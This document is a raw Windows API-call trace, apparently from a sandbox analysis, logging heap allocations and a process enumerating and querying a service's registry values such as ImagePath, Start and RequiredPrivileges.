[0180.600] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.600] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0180.601] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0180.601] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0180.601] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0180.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0180.601] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0180.601] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0180.601] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0180.601] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0180.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0180.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0180.601] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0180.602] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0180.602] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0180.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.603] RegQueryValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x8e) returned 0x0 [0180.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0xc0) returned 0x219ddd8 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.603] RegQueryValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x219ddd8, lpcbData=0x36f45c*=0x8e | out: lpType=0x36f454*=0x7, lpData=0x219ddd8*, lpcbData=0x36f45c*=0x8e) returned 0x0 [0180.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0180.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0180.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0180.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0180.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0180.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0180.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0180.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0180.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0180.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x21573f8 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0180.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0180.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0180.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x2157420 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0180.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0180.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0180.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.606] RegQueryValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x194) returned 0x0 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0180.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.606] RegQueryValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x194 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x194) returned 0x0 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0180.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0180.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0180.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0180.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x21573f8 [0180.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0180.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0180.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0180.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x252bc08 [0180.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0180.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0180.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0180.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0180.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0180.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0180.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0180.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0180.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0180.608] 